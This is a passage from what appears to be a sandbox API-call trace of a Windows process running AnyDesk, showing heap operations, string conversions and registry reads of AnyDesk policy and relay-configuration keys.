lpcbData=0x294b244*=0x0 | out: lpType=0x294b240*=0x0, lpData=0x0, lpcbData=0x294b244*=0x0) returned 0x6 [0283.840] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x294b26c | out: phkResult=0x294b26c*=0x0) returned 0x2 [0283.841] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19736a0 | out: hHeap=0x1930000) returned 1 [0283.841] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969920 [0283.841] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0283.841] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1969930 [0283.841] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x1969930, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0283.841] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969930 | out: hHeap=0x1930000) returned 1 [0283.841] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x27) returned 0x1962080 [0283.841] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1a) returned 0x19736a0 [0283.842] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962080 | out: hHeap=0x1930000) returned 1 [0283.842] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969930 [0283.842] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19aaef0 [0283.842] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x19736c8 [0283.842] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969930 | out: hHeap=0x1930000) returned 1 [0283.842] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969920 | out: hHeap=0x1930000) returned 1 [0283.842] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1a) returned 0x19736f0 [0283.842] RegQueryValueExW (in: hKey=0x0, lpValueName="features.wol", lpReserved=0x0, lpType=0x294b240, lpData=0x0, lpcbData=0x294b244*=0x0 | out: lpType=0x294b240*=0x0, lpData=0x0, lpcbData=0x294b244*=0x0) returned 0x6 [0283.842] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x294b26c | out: phkResult=0x294b26c*=0x0) returned 0x2 [0283.842] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19736f0 | out: hHeap=0x1930000) returned 1 [0283.842] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969900 | out: hHeap=0x1930000) returned 1 [0283.842] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xa) returned 0x19ab150 [0283.842] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969910 | out: hHeap=0x1930000) returned 1 [0283.843] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9cb4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0283.843] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xa) returned 0x19ab168 [0283.849] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9cb4, cbMultiByte=-1, lpWideCharStr=0x19ab168, cchWideChar=5 | out: lpWideCharStr="true") returned 5 [0283.849] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab168 | out: hHeap=0x1930000) returned 1 [0283.849] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab150 | out: hHeap=0x1930000) returned 1 [0283.849] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xf) returned 0x19ab150 [0283.849] GetLastError () returned 0x0 [0283.849] GetSystemTime (in: lpSystemTime=0x294b304 | out: lpSystemTime=0x294b304*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2d, wMilliseconds=0xff)) [0283.849] GetCurrentThreadId () returned 0x5d8 [0283.849] GetCurrentProcessId () returned 0x51c [0283.849] GetLastError () returned 0x0 [0283.850] CreateFiberEx (dwStackCommitSize=0x0, dwStackReserveSize=0x0, dwFlags=0x1, lpStartAddress=0x5f6150, lpParameter=0x1977780) returned 0x16f93b8 [0283.851] GetLastError () returned 0x0 [0283.851] GetSystemTime (in: lpSystemTime=0x294b22c | out: lpSystemTime=0x294b22c*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2d, wMilliseconds=0xff)) [0283.851] GetCurrentThreadId () returned 0x5d8 [0283.851] GetCurrentProcessId () returned 0x51c [0283.851] GetLastError () returned 0x0 [0283.851] CreateFiberEx (dwStackCommitSize=0x0, dwStackReserveSize=0x0, dwFlags=0x1, lpStartAddress=0x5f6150, lpParameter=0x1977838) returned 0x16f96b8 [0283.852] GetLastError () returned 0x0 [0283.852] GetSystemTime (in: lpSystemTime=0x294b22c | out: lpSystemTime=0x294b22c*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2d, wMilliseconds=0xff)) [0283.852] GetCurrentThreadId () returned 0x5d8 [0283.852] GetCurrentProcessId () returned 0x51c [0283.852] GetLastError () returned 0x0 [0283.853] GetSystemTime (in: lpSystemTime=0x294b364 | out: lpSystemTime=0x294b364*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2d, wMilliseconds=0xff)) [0283.853] GetCurrentThreadId () returned 0x5d8 [0283.853] GetCurrentProcessId () returned 0x51c [0283.853] GetLastError () returned 0x0 [0283.853] SwitchToFiber (lpFiber=0x16f6890) [0283.853] WaitForMultipleObjects (nCount=0x5, lpHandles=0x131ca64*=0x1b8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x2 [0283.853] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x19ab1e0 [0283.853] QueryPerformanceCounter (in: lpPerformanceCount=0x25efb18 | out: lpPerformanceCount=0x25efb18*=2565180717570) returned 1 [0283.853] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1969910 [0283.853] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab1e0 | out: hHeap=0x1930000) returned 1 [0283.854] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969910 | out: hHeap=0x1930000) returned 1 [0283.854] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab1e0 [0283.854] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab1f8 [0283.854] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab210 [0283.854] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab228 [0283.854] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab240 [0283.854] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab258 [0283.854] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab090 | out: hHeap=0x1930000) returned 1 [0283.854] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab0c0 | out: hHeap=0x1930000) returned 1 [0283.854] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab0d8 | out: hHeap=0x1930000) returned 1 [0283.854] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab0f0 | out: hHeap=0x1930000) returned 1 [0283.854] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab168 | out: hHeap=0x1930000) returned 1 [0283.854] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab1b0 | out: hHeap=0x1930000) returned 1 [0283.854] QueryPerformanceFrequency (in: lpFrequency=0x25efb34 | out: lpFrequency=0x25efb34*=100000000) returned 1 [0283.854] QueryPerformanceCounter (in: lpPerformanceCount=0x25efb34 | out: lpPerformanceCount=0x25efb34*=2565180821231) returned 1 [0283.854] SwitchToFiber (lpFiber=0x16f6da0) [0283.854] GetTickCount () returned 0xb99f [0283.854] GetLastError () returned 0x0 [0283.855] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76a70000 [0283.883] GetCurrentThreadId () returned 0x5d8 [0283.883] SetLastError (dwErrCode=0x0) [0283.883] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x19ab1b0 [0283.883] GetLastError () returned 0x0 [0283.883] GetSystemTime (in: lpSystemTime=0x2b7f8e4 | out: lpSystemTime=0x2b7f8e4*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2d, wMilliseconds=0x11e)) [0283.884] GetCurrentThreadId () returned 0x5d8 [0283.884] GetCurrentProcessId () returned 0x51c [0283.884] GetLastError () returned 0x0 [0283.884] SwitchToFiber (lpFiber=0x16f6890) [0283.884] SwitchToFiber (lpFiber=0x16f70a0) [0283.884] GetTickCount () returned 0xb9bf [0283.884] GetLastError () returned 0x0 [0283.884] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76a70000 [0283.885] GetCurrentThreadId () returned 0x5d8 [0283.885] SetLastError (dwErrCode=0x0) [0283.885] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x17) returned 0x19aafd0 [0283.885] GetLastError () returned 0x0 [0283.885] GetSystemTime (in: lpSystemTime=0x2d4f7e4 | out: lpSystemTime=0x2d4f7e4*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2d, wMilliseconds=0x11e)) [0283.885] GetCurrentThreadId () returned 0x5d8 [0283.885] GetCurrentProcessId () returned 0x51c [0283.885] GetLastError () returned 0x0 [0283.885] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x64ee60, lpParameter=0x2d4fb4c, dwCreationFlags=0x4, lpThreadId=0x2d4fb60 | out: lpThreadId=0x2d4fb60*=0x5e4) returned 0x234 [0283.889] ResumeThread (hThread=0x234) returned 0x1 [0283.889] WaitForSingleObject (hHandle=0x230, dwMilliseconds=0xffffffff) returned 0x0 [0283.903] CloseHandle (hObject=0x230) returned 1 [0283.903] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x19ab0f0 [0283.903] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969910 [0283.903] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbeaa20, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0283.903] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x19742b0 [0283.903] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbeaa20, cbMultiByte=-1, lpWideCharStr=0x19742b0, cchWideChar=21 | out: lpWideCharStr="ad.anynet.last_relay") returned 21 [0283.903] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0283.903] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969900 [0283.903] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x1969900, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0283.903] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969920 [0283.903] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0283.904] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1969930 [0283.904] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x1969930, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0283.904] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969930 | out: hHeap=0x1930000) returned 1 [0283.904] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x31) returned 0x1963560 [0283.904] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x22) returned 0x1962080 [0283.904] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1963560 | out: hHeap=0x1930000) returned 1 [0283.904] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969930 [0283.904] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19aaff0 [0283.904] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x19aa118 [0283.904] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969930 | out: hHeap=0x1930000) returned 1 [0283.905] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969920 | out: hHeap=0x1930000) returned 1 [0283.905] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x22) returned 0x1962200 [0283.905] RegQueryValueExW (in: hKey=0x0, lpValueName="anynet.lastrelay", lpReserved=0x0, lpType=0x2d4f5a8, lpData=0x0, lpcbData=0x2d4f5ac*=0x0 | out: lpType=0x2d4f5a8*=0x0, lpData=0x0, lpcbData=0x2d4f5ac*=0x0) returned 0x6 [0283.905] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x2d4f5d4 | out: phkResult=0x2d4f5d4*=0x0) returned 0x2 [0283.905] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962200 | out: hHeap=0x1930000) returned 1 [0283.905] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969920 [0283.905] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0283.905] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1969930 [0283.905] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x1969930, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0283.906] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969930 | out: hHeap=0x1930000) returned 1 [0283.906] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x31) returned 0x1963560 [0283.906] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x22) returned 0x1962200 [0283.906] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1963560 | out: hHeap=0x1930000) returned 1 [0283.906] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969930 [0283.906] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19ab010 [0283.906] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x19aa188 [0283.906] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969930 | out: hHeap=0x1930000) returned 1 [0283.906] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969920 | out: hHeap=0x1930000) returned 1 [0283.906] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x22) returned 0x1962260 [0283.906] RegQueryValueExW (in: hKey=0x0, lpValueName="anynet.lastrelay", lpReserved=0x0, lpType=0x2d4f5a8, lpData=0x0, lpcbData=0x2d4f5ac*=0x0 | out: lpType=0x2d4f5a8*=0x0, lpData=0x0, lpcbData=0x2d4f5ac*=0x0) returned 0x6 [0283.906] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x2d4f5d4 | out: phkResult=0x2d4f5d4*=0x0) returned 0x2 [0283.907] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962260 | out: hHeap=0x1930000) returned 1 [0283.907] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969910 | out: hHeap=0x1930000) returned 1 [0283.907] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969910 [0283.907] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969900 | out: hHeap=0x1930000) returned 1 [0283.907] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19742b0 | out: hHeap=0x1930000) returned 1 [0283.907] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969900 [0283.907] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969920 [0283.907] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969900 | out: hHeap=0x1930000) returned 1 [0283.907] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969900 [0283.908] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969920 | out: hHeap=0x1930000) returned 1 [0283.908] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969920 [0283.908] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969930 [0283.908] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969930 | out: hHeap=0x1930000) returned 1 [0283.908] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969920 | out: hHeap=0x1930000) returned 1 [0283.908] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969900 | out: hHeap=0x1930000) returned 1 [0283.908] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969900 [0283.908] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbeaa08, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0283.908] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x19742b0 [0283.908] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbeaa08, cbMultiByte=-1, lpWideCharStr=0x19742b0, cchWideChar=21 | out: lpWideCharStr="ad.anynet.boot_addrs") returned 21 [0283.908] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0283.908] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969920 [0283.908] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x1969920, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0283.908] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969900 | out: hHeap=0x1930000) returned 1 [0283.908] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x19aa1c0 [0283.908] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969920 | out: hHeap=0x1930000) returned 1 [0283.909] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19742b0 | out: hHeap=0x1930000) returned 1 [0283.909] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x19742b0 [0283.909] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x19aa1f8 [0283.909] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969920 [0283.909] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969900 [0283.909] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969920 | out: hHeap=0x1930000) returned 1 [0283.909] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969920 [0283.909] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969900 | out: hHeap=0x1930000) returned 1 [0283.909] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x19aa230 [0283.909] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x19aa268 [0283.909] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x19aa2a0 [0283.909] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969900 [0283.909] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969930 [0283.909] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969940 [0283.909] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969930 | out: hHeap=0x1930000) returned 1 [0283.909] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x19aa2d8 [0283.910] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x19aa310 [0283.910] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x19aa348 [0283.910] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa310 | out: hHeap=0x1930000) returned 1 [0283.910] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1a9a8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0283.910] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19ab030 [0283.910] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1a9a8, cbMultiByte=-1, lpWideCharStr=0x19ab030, cchWideChar=10 | out: lpWideCharStr="*.*.*.*:*") returned 10 [0283.910] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab030 | out: hHeap=0x1930000) returned 1 [0283.910] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1a9b4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0283.910] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab0d8 [0283.910] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1a9b4, cbMultiByte=-1, lpWideCharStr=0x19ab0d8, cchWideChar=8 | out: lpWideCharStr="*.*.*.*") returned 8 [0283.910] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab0d8 | out: hHeap=0x1930000) returned 1 [0283.910] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x19aa310 [0283.910] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xa) returned 0x19ab0d8 [0283.911] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab0d8 | out: hHeap=0x1930000) returned 1 [0283.911] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa310 | out: hHeap=0x1930000) returned 1 [0283.911] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x19aa310 [0283.911] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x19aa380 [0283.911] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xa) returned 0x19ab0d8 [0283.911] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab0d8 | out: hHeap=0x1930000) returned 1 [0283.911] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1969930 [0283.911] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969930 | out: hHeap=0x1930000) returned 1 [0283.912] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab0d8 [0283.912] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab0d8 | out: hHeap=0x1930000) returned 1 [0283.912] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1969930 [0283.912] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969930 | out: hHeap=0x1930000) returned 1 [0283.912] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa380 | out: hHeap=0x1930000) returned 1 [0283.912] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969900 | out: hHeap=0x1930000) returned 1 [0283.912] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x19aa380 [0283.912] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa310 | out: hHeap=0x1930000) returned 1 [0283.912] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa348 | out: hHeap=0x1930000) returned 1 [0283.912] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969940 | out: hHeap=0x1930000) returned 1 [0283.913] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa2d8 | out: hHeap=0x1930000) returned 1 [0283.913] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x19aa2d8 [0283.913] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x19aa348 [0283.913] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa380 | out: hHeap=0x1930000) returned 1 [0283.913] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa2a0 | out: hHeap=0x1930000) returned 1 [0283.913] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa268 | out: hHeap=0x1930000) returned 1 [0283.913] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa230 | out: hHeap=0x1930000) returned 1 [0283.913] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1c) returned 0x19736f0 [0283.913] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969940 [0283.913] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x19aa230 [0283.913] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x19aa268 [0283.914] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa348 | out: hHeap=0x1930000) returned 1 [0283.914] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa2d8 | out: hHeap=0x1930000) returned 1 [0283.914] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969920 | out: hHeap=0x1930000) returned 1 [0283.914] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa1f8 | out: hHeap=0x1930000) returned 1 [0283.915] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19742b0 | out: hHeap=0x1930000) returned 1 [0283.915] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1c) returned 0x19a8d10 [0283.915] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969920 [0283.915] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x19742b0 [0283.915] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x19aa1f8 [0283.915] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969900 [0283.915] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969930 [0283.915] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969950 [0283.915] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969960 [0283.915] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969900 | out: hHeap=0x1930000) returned 